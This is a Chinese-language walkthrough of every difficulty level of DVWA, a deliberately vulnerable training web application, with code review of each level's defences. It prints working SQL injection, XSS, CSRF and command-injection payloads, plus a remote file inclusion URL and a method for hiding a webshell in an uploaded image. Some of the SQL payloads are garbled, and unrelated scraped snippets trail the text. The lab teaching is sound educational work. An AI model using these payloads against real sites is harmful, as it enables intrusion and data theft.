DVWA全级别详细通关教程

2023-11-12

目录

暴力破解——Brute Force

low

Medium

High

Impossible

 命令注入——Command Injection

 low

 Medium

 High

 Impossible

 CSRF——跨站请求伪造

low

Medium

High

Impossible

文件包含——File Inclusion

         low

 ​Medium

 High

 Impossible

 文件上传——File Upload

low

Mediun

High

Impossible

SQL注入——SQL Injection

low

Medium

High

Impossible

反射型XSS

low

Medium

High

Impossible

存储型XSS

DOM型XSS

 low

Medium

High

Impossible


暴力破解——Brute Force

low

1.直接用burpsuite抓包暴力破解

2.可以手工SQL注入(万能密码),在用户名框中输入admin' or '1'='1

代码审计一下

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	//isset() 函数用于检测变量是否已设置并且非 NULL
    // Get username
	$user = $_GET[ 'username' ];

	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );
    //被get传递的$pass进行md5加密
	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    //mysqli_query()函数执行某个针对数据库的查询。
    //die() 函数输出一条消息,并退出当前脚本。

	if( $result && mysqli_num_rows( $result ) == 1 ) {
	//mysqli_num_rows() 函数返回结果集中行的数量	
    //mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
    // Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

需要满足$result && mysqli_num_rows( $result ) == 1才能登录成功

当 admin'or'1'='1 ,则 $query="SELECT * FROM `users` WHERE user = '$admin'or'1'='1' AND password = '$pass';"

可以满足$result && mysqli_num_rows( $result ) == 1

Medium

1.跟low差不多,直接用burpsuite抓包暴力破解

相比low级别,medium增加了 mysqli_real_escape_string()函数,这个函数会对字符串中的特殊符号,如:x00、\n、\r、\、'\、"、\x1a进行转义,基本可以抵御sql注入。

但是,没有加入有效的防爆破机制,还是可以用burpsuite爆破。

High

抓包查看 ,发现有token,用token机制来遏制暴力破解,增加了爆破的难度

关于Token机制的工作原理(不会画图,勉强看)

利用burpsuite中的“宏”(macro)机制来完成爆破

burpsuite抓包,发送到intruder,选中密码和Token,设置攻击模式

线程为1(为了防止暴力破解,服务端总是单线程,单会话会分配Token)

重定向设为“总是”(总共4次对话,才完成登录认证,所以需要重定向)

在grep-extract中点击add,选择refetch response(获取回复)

复制Token值

设置有效负载,第一个参数是密码,导入字典

 第二个参数是Token,将刚刚复制的Token值粘贴进来

 

 开始爆破,爆破完后,数字不同即为结果

Impossible

 impossible级别的代码加入了可靠的放爆破机制,当检测到频繁错误登录后,系统会将账户锁定,爆破也就无法继续。(当用户登录失败达到3次,将会锁住账号15秒)

同时采用了更为安全的PDO(PHP Data Object)机制防御SQL注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而SQL注入的关键就是通过破坏SQL语句结构执行恶意的SQL命令

 命令注入——Command Injection

命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

 low

 输入127.0.0.1

有乱码,将文件dvwaPage.inc.php中的utf-8改成gb2312

 

 

变正常了

 

代码审计

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];      //这里没有过滤

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );  //执行ping命令
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

 这里使用了两个和安全无关的函数

stristr(string,search,before,search),搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分,如果没找到,返回false。

php_uname(mode),返回运行php的操作系统的相关描述。

Medium

查看代码,设置了黑名单,过滤了&&和;

可以使用&或者|之类的连接符绕过

 High

查看代码,high级别进一步完善了黑名单,但是因为黑名单的局限性,我们依然可以绕过

 Impossible

 查看代码,impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格限制,只有像“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

 CSRF——跨站请求伪造

csrf(跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie,会话),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害者不知情的情况下,以受害者身份向服务器发送请求,从而完成非法操作。(如转账、改密、发帖等)

low

 这是一个修改密码的页面,修改试试,修改成功,并且是以get方式传输的

从有源码中,可以知道,服务器收到修改密码的请求后,会检查参数$pass_new与$pass_conf是否相同,如果相同就会修改密码,并且没有任何的防csrf机制

我们就直接在URL中修改内容,看是否能执行成功。

修改内容后,复制这个新URL重新打开一个界面,如下图

(必须使用同一个浏览器,因为在访问页面时通常存在cookie认证,否则即使点击了恶意链接也没用。)

 之前修改的密码为123456,现在在URL上,改成了abcd,验证一下是否密码被改成了abcd

admin/abcd,登录成功

admin/123456 ,登陆失败 (所以是可以修改成功的)

 

 我们可以准备一架“僚机”,就是互联网上经过伪装的另外的网站

这里使用了在本地搭建的另外一个网站,在里面写入一个攻击页面,诱骗受害者去访问

完成csrf攻击的条件:受害者处于登录,保持会话的状态,诱骗受害者点击恶意构造的页面

(通常是给受害者发送一个链接,而在正常的情况下我们通常不会点击一个很长的看起来就不正常的链接,所以我们可以利用短链接来进行伪装)

这是当受害者点击后的状态,页面被伪装成“404”,密码已经被修改

 去验证下,密码是否修改,修改前为abcd,修改后为qqqq(登陆成功,成功修改了密码)

 Medium

直接修改url,提示请求错误

抓包发现referer

查看源码,medium级别中检查了保留HTTP_REFERER(HTTP包头的referer参数值,表示来源地址)中是否包含SERVER_NAME(HTTP中的host参数)

过滤规则是,http包头中的referer必须包含“主机名”

将僚机上的攻击页面命名为[SERVER_NAME].html,然后诱骗受害者点击,referer应该为http://僚机网站ip/被攻击者网站ip.html,包含了host字段

还可以直接在http包头添加referer:http://(包含主机名)

High

发现添加了token验证

查看源码,high级别加入了token机制,当用户访问修改密码页面时,服务器会返回一个随机token,向服务器发起请求时,需要提交token,服务器接收请求时会先检查token,只有token正确,才处理请求。

 如果要绕过这个机制,就要获取token,利用受害者的cookie去修改密码

在存储型XSS中txtname框输入以下语句,因为有字数限制,所以需要拦截后更改。

txtName=<iframe src="../CSRF" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

 获得token=ccbfd7ff861de1e4499ca417c6b1979a

 回到密码更改的抓包界面,将新的token替换,修改包中的密码

测试是否修改成功,用admin/1234567成功登录

 我们将如下代码,放到之前low中的“僚机”,然后去访问它

<html>
    <body>
        <form action="http://dvwa/vulnerabilities/csrf/?">
            <input type="hidden" name="password_new" value="123456"/>
            <input type="hidden" name="password_conf" value="123456"/>
            <input type="hidden" name="Change" value="Change"/>
            <input type="hidden" name="user_token" value="d49c26556fe87efc646c10bd59dca5d3"/>
            <input type="submit" value="Ciick Me"/>
        </form>
    </body>
</html>

点击click me密码修改成功,测试是否修改成功,改前是1234567,改后是123456

admin/1234567登录失败,admin/123456登录成功

 Impossible

impossible级别代码利用PDO技术防御SQL注入;至于防护CSRF,则要求用户输入原始密码,在攻击者不知道原始密码的情况下,无法进行CSRF攻击

文件包含——File Inclusion

文件包含,是指当服务器开启aliow_url_include选项时,就可以通过php的某些特性函数(include()、include_once()、requre_once()),利用url动态包含文件,如果没有对文件来源进行严格审查,就会导致被攻击网站上任意文件读取或者任意命令执行。

 文件包含漏洞分类:分为本地文件包含、远程文件包含漏洞,远程文件包含漏洞是因为开启了php中allow_url_fopen,开启后,服务器允许包含一个远程文件(位于其他站点)。

 文件包含的特点:服务器包含文件时,不管后缀是否为.php,都会尝试当作php文件执行。如果文件内容是php脚本,它就会执行并返回结果,如果不是,就直接打印出来。所以文件包含漏洞会导致任意文件读取和任意命令执行

low

以下题目的意思是,点击下面三个链接,服务器会包含相应文件,并返回结果

注意:如果显示allow_url_inlude没有开启,就在以下路径,修改对应自己网站php版本,里面的php.ini文件,将allow_url_inlude=Off改成allow_url_inlude=ON,然后重新打开即可

查看源码,没有对page做任何过滤

本地文件包含:

1.假设对方服务器是linux,就可以尝试读取/etc/passwd

2.可以尝试猜测其他文件
http://dvwa/vulnerabilities/fi/?page=d:\文件

远程文件包含:
1.远程文件包含容易导致任意远程代码执行
2.http://dvwa/vulnerabilities/fi/?page=http://ip/可执行脚本



Medium

在low的基础上增加了str_replace()函数,对page的参数进行了一些处理,将http://,https://,../,..\,替换为空字符

1.本地文件包含:
这里对在low等级使用的方法没有影响,依旧可以使用
2.远程文件包含:
可以利用它的过滤特性,用双写即可绕过
http://dvwa/vulnerabilities/fi/?page=hhttp://ttp://ip/可执行脚本

 High

 High级别代码中使用了fnmatch()函数来检查page参数中是否是file开头,是file开头服务器才会去包含相应文件

1.本地文件包含:(加上file)
http://dvwa/vulnerabilities/fi/?page=file://d:/文件

 Impossible

 impossible级别代码使用了白名单机制防护,page只能是include.php ,file1.php ,file2.php ,file3.php,彻底杜绝了文件包含漏洞

 文件上传——File Upload

文件上传漏洞,通常是因为对于上传的文件类型、内容,没有进行严格过滤、检查,导致攻击者可以通过上传木马获得服务器的webshell权限。

漏洞利用条件:能成功上传木马,上传文件能被执行,上传文件路径可知

low

 直接上传了一个php文件,且成功上传(php文件内容是一句话木马)

  服务器对上传文件没有做任何过滤检查,生产上传路径后,服务器会检查是否上传成功并返回相应提示信息

Mediun

上传php文件被拦截,提示只能上传图片


上传一个内容为一句话木马的图片,然后抓包

将jpg改成php,发送,上传成功

然后用蚁剑或菜刀连接即可
查看源码,发现对文件上传的类型、大小做了限制,类型必须是jpeg、png,大小不超过100000B

High

源码如下,通过字符串匹配来确定文件后缀名,要求文件名后缀必须是".jpg" ,".png", ".jpeg"。同时使用getimagesize(string filename) 函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头则报错。

1.用文件上传+文件包含漏洞
方法一:上传一个正常的图片,抓包,在图片末尾添加一句话木马,发送,上传成功
方法二:上传一个图片马,图片马制作:copy 1.jpg/b + 2.php/a muma.jpg

利用dvwa的文件包含漏洞(low)
这个 url 使得一句话木马被解析 ,用蚁剑连接

2.利用文件上传+命令注入漏洞
利用命令注入漏洞将3.png重命名为3.php
127.0.0.1|rename..\..\hackable\uploads\3.png 3.php

 

Impossible

 impossible级别代码对上传文件进行了重命名(md5),加入Anti-CSRF token防护csrf攻击,上传后不显示文件上传的路径,而且将图片进行重制,恶意脚本会被消除。
同时使用上诉所有机制对文件的内容,导致攻击者无法上传木马文件。
为了防御这种攻击,可以使用白名单判断文件类型和后缀是否合法,同时对上传后的文件进行重命名防止被攻击者利用。

SQL注入——SQL Injection

SQLInjection,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的。结构,从而达到执行恶意SQL语句的目的。

low

 low级代码中,没有对来自客户端的参数id做任何检查与过滤

1、判断是否存在注入点,是字符型还是数字形
输入1and1=1/2,发现查询都能成功;
输入1’,查询失败,报错,注入点为字符型

 2.判断字段数
order by 2#显示正常,order by 3#报错,则字段数为2

3.查看当前数据库名,dvwa

 4.获取表名
1'  and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
5.获取字段名
1'and1=2unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_schema='dvwa'andtable_name='users'#

Medium

 

这里是一个下拉菜单,不能直接测试,抓个包
id=1'报错,存在sql注入字符型

 其他步骤与low相同,因为‘与“被转义了,所以不能直接写数据库名和表名,需要转换成十六进制

1.由于转义了后,变为了整数型注入,利用之前得到的信息,直接来爆破库名þ1and1=2unionselect1,concat(database(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx#
2.爆破表的数量þ1and1=2unionselect1,concat((selectcount(table_name)frominformation_schema.tableswheretable_schema=database()),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx#
3.爆破表的名字þ1and1=2unionselect1,concat((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx#

High

添加了LIMIT 1,但是可以通过#将其注释掉
1'or1=2unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#

Impossible

 Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注þ返回的查询结果数量为1时,才会成功输出,有效预防了“脱裤”;入;Anti-CSRFtoken机制的加入,进一步提高了安全性。

反射型XSS

 XSS,跨站脚本攻击,指攻击者在页面注入恶意脚本代码,当受害者访问该页面,恶意代码会在其浏览器上执行。
注:XSS不限于JavaScript,还包括flash等其他脚本语言

low

low等级,代码直接引用了name参数,没有任何检查和过滤

 
输入js代码,弹窗

Medium

medium等级,使用str_replace函数将<script>过滤掉了

用大小写,双写绕过

High

 High级别的代码,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

 <script>不能用了,但是还可以用img,body等标签或者iframe等标签的src注入恶意的js代码。
用<img src=1 οnerrοr=alert(1)>,成功弹窗

Impossible

 Impossible级别的代码使用htmlspecialchars()函数把几个预定义的字符转换为HTML实体,防止浏览器将这些符号作为HTML指令元素
'(单引号)转换成&#039;
<(小于)转换成&lt;
&(和号)转换成&amp;
"(双引号)转换成&quot;
>(大于)转换成&gt;

存储型XSS

存储型XSS可以将用户构造的有害输入直接存储起来,目标网站的用户只要访问被插入的恶意代码,网站就能触发,相比较反射型XSS更为隐蔽,危害更大。

做法跟反射型XSS一样

DOM型XSS

DOMXSS和前面的两种XSS的区别主要是:DOMXSS的产生并没有和后台服务器产生交互,而是通过浏览器的Document对象树解析产生的 

 low

查看源码,在服务端没有php代码,所以查看前端代码,前端只有js来处理请求
直接在url后面构造js语句

Medium

 后端做了限制,前端无变化。不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过。

 如果URL中有一个字符为#,该符号后面的数据就不会发送到服务器端,从而绕过服务端过滤;

 (也可以用img标签的方法)

High

还是后端做了限制,前端没变,后端判断要求default必须为select中的值
还是可以用#符号绕过

Impossible

后端无代码
前端做了url编码处理

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

DVWA全级别详细通关教程 的相关文章

  • CSS 安全区域属性在 iPhone X 上不起作用

    就我而言 我正在 iPhone X 上运行一个 Web 应用程序 我尝试在顶部添加一个填充 以使用 Webkit 的安全区域 css 属性将我的身体推到安全区域padding top constant safe area inset top
  • 使用哪个正则表达式将此字符串转换为数组?

    从 mysql 中的地理空间列我得到以下字符串值 我想将其转换为数组 最终目标是将其转换为 geoJSON POLYGON 4 885838 52 388063 4 891061 52 388381 4 890973 52 382909 该
  • 第一个选项为空的选择框

    如何将选择框中的第一个选项设置为空值 我正在从数据库获取数据 我想将选项默认设置为 请选择一个选项 我找到 default gt Please select 不适用于 HTML5 必需属性 这确实有效 listOfValues 1 gt C
  • 创建一个基于简单文本文件的搜索引擎

    我需要尽快创建一个基于简单文本文件的搜索引擎 使用 PHP 基本上它必须读取目录中的文件 删除停止词和无用词 为每个剩余的有用词及其在每个文档中出现的次数建立索引 我猜这个的伪代码是 for each file in directory r
  • 更改链接悬停时的正文背景颜色

    当鼠标悬停在页面上时如何更改页面背景a 我正在寻找仅 css 的解决方案 我知道你可以通过 css 到达子元素 但我不知道如何 是否可以到达主体 看看这个DEMO http jsfiddle net bhavuksuthar bjsvhze
  • Pinterest 身份验证 url 返回 404 错误?

    我正在测试 pinterest apihttp pinterest com developers api http pinterest com developers api 在上面的身份验证部分的网址上 它说我必须将用户重定向到 pinte
  • Joomla getUser() 不显示更新的用户数据

    下面的代码允许我在用户的 Joomla 个人资料的个人资料页面中显示用户名 鉴于我已经覆盖了模板以获得我想要的外观和感觉 user JFactory getUser if user gt guest echo You are logged
  • 当控制器类扩展父控制器时,为什么我们仍然需要父构造函数?

    我是 CodeIgniter 和 OOP 的初学者 我正在读一页 CI 教程here http ellislab com codeigniter user guide tutorial news section html 我发现了一些让我产
  • 使用 CSS Flexbox 堆叠图像

    我正在学习使用CSSflexbox 和我想在左侧渲染一个大图像 并在彼此之上渲染两个小图像 我怎样才能使用CSS弹性盒 div class container img class image1 src alt null img class
  • HTML5 服务器端事件:EventSource 与包装的 WebSocket

    HTML5 服务器发送事件 SSE API 是否只是 HTML5 WebSocket 之上的受限制的 基于事件的 API 在我看来 一个EventSource只是一个WebSocket that Cannot send data 使用tex
  • 无法使用模式 r: fopen(): AWS Elastic Beanstalk 打开

    错误 无法使用模式 r fopen 打开 文件名不能为空当我尝试上传较大的文件 超过 5MB 时 我不断收到此错误 我已将 PHP 应用程序上传到 AWS Elastic Beanstalk 并将文件上传到 AWS S3 我的代码中甚至没有
  • 登录页面上出现错误“警告:尝试访问 bool 类型值的数组偏移量”[重复]

    这个问题在这里已经有答案了 我目前正在为一个学校项目制作一个网站 并且正在制作一个用户注册系统 目前 注册部分与进入 MySQL 数据库的用户数据完美配合 但是 我的登录页面似乎已损坏 每次我尝试登录时都会收到以下错误 警告 尝试访问第 2
  • 点击问题:动态生成的链接不触发点击功能

    下面是两个代码片段 由于某种原因什么也没有发生 但来自同一个 JS 文件的其他 jQuery 函数在带有 UL 的页面上执行得很好 这是在盯着我看吗 ul class paganation li 1 li li a href 2 a li
  • 是否可以从插件扩展 Wordpress XMLRPC 接口?

    是否可以创建一个插件 在激活时向 XMLRPC 接口添加新的 功能 并处理其调用 简而言之 是的 您可以将函数添加为插件或添加到主题的functions php 文件中来处理XMLRPC 调用 您将需要以下部分 function xml a
  • 空 URL 哈希导致页面在 js 事件上跳转

    我有一个带有下一个和上一个按钮的照片库 如果我的某个 javascript 方法由于某种原因被破坏 那么当单击其中一个按钮时 它会向 url 添加一个哈希值 即 www google com 我知道可以给散列一个 div id 来跳转到页面
  • 使用文本遮盖视频

    是否可以使用 HTML CSS 文本来屏蔽视频 我已经找到并设置了这种工作方式 但没有一种允许文本后面有透明背景 例如 这支笔要求您进行某种填充 它并不是真正掩盖实际视频 而是创造幻觉 https codepen io dudleystor
  • 如何在粘贴时获取文本区域输入字段的新值?

    我发现当我尝试从文本区域字段读取值时onpaste调用函数时 我得到字段的旧值 粘贴操作之前的值 而不是新值 粘贴操作之后的值 以下是此行为的演示 http jsfiddle net qsDnr http jsfiddle net qsDn
  • 有没有办法防止输入 type=“number” 获得多个点值?

    我只想得到十进制值 如 1 5 0 56 等 但它允许多个点 有什么办法可以预防吗 您可以使用pattern属性
  • 使用 jQuery 修改 HTML 表格的结构

    我有一个元素列表 X在以下示例中 显示在 HTML 表格的行或列中 从 HTML 代码的角度来看 我有 水平显示 table tr td A td td B td td C td tr table 或 垂直显示 table tr td A
  • 使用 jquery 提供附加功能时菜单未正确对齐

    I need to make a mega menu similar to one as show in image below 到目前为止 我已经能够在某种程度上使其发挥作用 例如jsFiddle 在这里 http jsfiddle ne

随机推荐

  • 货仓选址(贪心)

    我之前在多篇博客中提到货仓选址 却发现从未仔细介绍过货舱选址 今天就来好好说一下货舱选址这个问题 就以这个图来说 我们假设Ap 1 gt x gt Ap 那么距离之和也就是 x A1 x A2 x Ap A p 1 x A p 2 x An
  • vue中router路由的原理?两种路由模式如何实现?(vue2) -(上)

    平时我们编写路由时 通常直接下载插件使用 在main js文件中引入直接通过引入vue router中的Router通过Vue use使用以后定义一个routeMap数组 里边是我们编写路由的地方 最后通过实例化一个 Router实例 将r
  • SaperaLT 简单介绍

    2019独角兽企业重金招聘Python工程师标准 gt gt gt Sapera Teledyne DALSA 安装SDK包 同其他大厂的平台软件包一样 分为Runtime和SDK俩种安装包 SDK安装完成后 在开始菜单里面会有俩个目录 T
  • 求解矩阵的秩相关算法(C语言)

    矩阵的秩 在线性代数中 一个矩阵A的列秩是A的线性独立的纵列的极大数 通常表示为r A rk A 或rank A 一个矩阵A的列秩是A的线性独立的纵列的极大数目 类似地 行秩是A的线性无关的横行的极大数目 即如果把矩阵看成一个个行向量或者列
  • 莫队算法(区间查询)

    适用情况 1 只查询 不修改 2 已知 L R 的答案 可在O 1 时间内求出 L R 1 L R 1 L 1 R L 1 R 3 该算法复杂度为 O n sqrt n 分析思路 由上知 计算 L R 的时间为 L L R R 将询问看作点
  • 利用D盘内存给C盘扩容

    步骤一 右键此电脑 管理 步骤二 磁盘管理 步骤三 D盘分区为主分区 右击 压缩卷 填写需要的内存 然后点击压缩 步骤四 D盘右键 更改驱动器号和路径 把D盘改成 本地磁盘A 步骤五 在压缩出来的内存中 右键 新建简单卷 将其设置成磁盘D
  • 表(Table)和段(Segment)之间是什么关系

    Q A 表 Table 和段 Segment 之间是什么关系 English 作者 fuyuncat 来源 www HelloDBA com 日期 2009 08 28 02 13 24 问 表 Table 和段 Segment 之间是什么
  • 原型和原型链继承

    JavaScript 原型 JavaScript 是一种通过原型实现继承的语言与别的高级语言是有区别的 像 java C 是通 过类型决定继承关系的 JavaScript 是的动态的弱类型语言 总之可以认为 JavaScript 中所有 都
  • python连接pymysql主机目标无响应_python3之pymysql模块

    1 python3 MySQL数据库链接模块 PyMySQL 是在 Python3 x 版本中用于连接 MySQL 服务器的一个库 Python2中则使用mysqldb PyMySQL 遵循 Python 数据库 API v2 0 规范 并
  • MSYS2 Mingw Cygwin对比

    系列文章目录 文章目录 系列文章目录 前言 一 MSYS2 是什么 前言 Mingw 仅支持 32 bit 程序 现在一般用 Mingw w64 既支持 32 也支持 64 bit Mingw W64 官网 一个教程 MSYS2 是一个 w
  • 关于 document.onclick

    document onclick事件 当在浏览器内容域中当发生一次鼠标单机事件就产生一个事件对象
  • 融云获评「创业邦 · 最具创新价值出海服务商」

    点击报名 9 月 21 日融云直播课 8 月 22 日 23 日 创业邦主办的 2023 DEMO WORLD 全球开放式创新大会暨企业出海未来大会 在上海举行 会上发布了 创业邦 2023 出海企业创新价值 100 强 融云荣登榜单 获评
  • Oracle 数据库中删除表空间的详细步骤与示例

    系列文章目录 文章目录 系列文章目录 前言 一 查看表空间 二 数据迁移和备份 三 下线表空间中的对象 四 删除表空间 五 删除完成后的操作 总结 前言 在 Oracle 数据库中 表空间是存储数据的逻辑容器 有时候 我们可能需要删除不再使
  • 深度学习(20):nerf论文翻译与学习

    目录 1 Introduction 2 Related Work 3 Neural Radiance Field Scene Representation 4 Volume Rendering with Radiance Fields 5
  • Python中出现UnboundLocalError: local variable ‘xxx‘ referenced before assignment情况的解决方法

    UnboundLocalError local variable xxx referenced before assignment 在函数外部已经定义了变量n 在函数内部对该变量进行运算 运行时会遇到了这样的错误 主要是因为没有让解释器清楚
  • 使用Hyperledger Fabric Java SDK 构建和部署区块链网络(windows下)

    在区块链解决方案中 区块链网络作为后端与应用程序前端一起使用SDK与网络通信 为了建立前端和后端之间的通信 Hyperledger Fabric社区为各种编程语言提供了许多SDK 如NodeJS SDK和Java SDK 此代码模式解释了使
  • PHP保留两位小数的三种方法

    PHP保留两位小数的三种方法 ps 本人亲测 阿里云2核4G5M的服务器性价比很高 新用户一块多一天 老用户三块多一天 最高可以买三年 感兴趣的可以戳一下 阿里云折扣服务器 PHP保留两位小数的几种方法 link http www phpd
  • 用Compose shape把外框做成封闭图形

    Compose shape之后为何会成这个样子 以下并板框的实际图样 只论述方法 解决办法 compose shape 时不要把整个outline框起来 用tempgroup一段一段的选择 选完后complete 特别要注意的是要选中相应的
  • mysql数据库商业版与社区版的区别

    1 商业版本组织管理与测试环节控制更严格 稳定性方面 会比社区版本更稳定 2 mysql是成熟产品 商业版与社区版之间性能方面相差不大 3 商业版不遵守GPL协议 社区版遵守GPL协议可以免费使用 4 使用商业版后可以购买相关的服务 享受7
  • DVWA全级别详细通关教程

    目录 暴力破解 Brute Force low Medium High Impossible 命令注入 Command Injection low Medium High Impossible CSRF 跨站请求伪造 low Medium